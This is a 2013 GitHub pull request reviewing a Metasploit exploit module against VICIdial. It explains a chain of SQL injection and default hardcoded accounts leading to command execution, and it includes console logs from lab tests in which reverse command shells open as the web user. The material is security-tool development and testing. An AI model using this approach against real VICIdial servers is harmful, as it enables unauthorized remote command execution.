averagesecurityguy/metasploit-framework — pull request #1 by jvazquez-r7 (2013-11-07 02:34:17+00:00)
Title: Review PR 2569

Hi @averagesecurityguy,

This pull request tries to improve https://github.com/rapid7/metasploit-framework/pull/2569. Basically, in order to improve reliability the next steps are taken:

* Check exploitation, using the sql injection and default hardcoded VICIdial accounts. If there exist any valid session, and the vicidial account is valid, it should success.

* If exploitation fails because there isn't any valid session, then the user can provide astGUIcient credentials in order to try to create a valid session. If login is successful injection is checked again.

* If injection is successful: there is a valic vicidial account and there is a session then injection is exploited to inject commands.

In addition several clean ups have been added, plus complete metadata information, etc.

Feel free to check the changes, test, discuss anything, and once you feel comfortable with it, just land it and https://github.com/rapid7/metasploit-framework/pull/2569 will be automatically updated and hopefully ready to go!

Thanks for your collaboration!

* Test with existent session:

```
msf exploit(vicidial_manager_send_cmd_exec) > set rhost 192.168.172.139
rhost => 192.168.172.139
msf exploit(vicidial_manager_send_cmd_exec) > check
[+] The target is vulnerable.
msf exploit(vicidial_manager_send_cmd_exec) > rexploit
[*] Reloading module...

[*] 192.168.172.139:80 - Checking if injection is possible...
[*] Started reverse double handler
[+] 192.168.172.139:80 - Exploitation looks feasible, proceeding...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo xMG0ISLB488YOX5u;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "xMG0ISLB488YOX5u\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.172.1:4444 -> 192.168.172.139:47022) at 2013-11-06 20:10:25 -0600

id
uid=30(wwwrun) gid=8(www) groups=8(www)
^C
Abort session 1? [y/N] y

```

* Test without existing session, providing valid astguiclient credentials:

```
msf exploit(vicidial_manager_send_cmd_exec) > check
[*] The target service is running, but could not be validated.
msf exploit(vicidial_manager_send_cmd_exec) > set PHONE_PASSWORD_ASTGUI test
PHONE_PASSWORD_ASTGUI => test
msf exploit(vicidial_manager_send_cmd_exec) > set PHONE_USER_ASTGUI gs102
PHONE_USER_ASTGUI => gs102
msf exploit(vicidial_manager_send_cmd_exec) > rexploit
[*] Reloading module...

[*] 192.168.172.139:80 - Checking if injection is possible...
[*] Started reverse double handler
[-] 192.168.172.139:80 - Valid web client session not found, trying to create one...
[+] 192.168.172.139:80 - Exploitation looks feasible, proceeding...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo tJNxeZUTAojPIe1S;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "tJNxeZUTAojPIe1S\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.139:47095) at 2013-11-06 20:32:41 -0600

id
uid=30(wwwrun) gid=8(www) groups=8(www)
^C
Abort session 2? [y/N] y

[*] 192.168.172.139 - Command shell session 2 closed. Reason: User exit
msf exploit(vicidial_manager_send_cmd_exec) >
```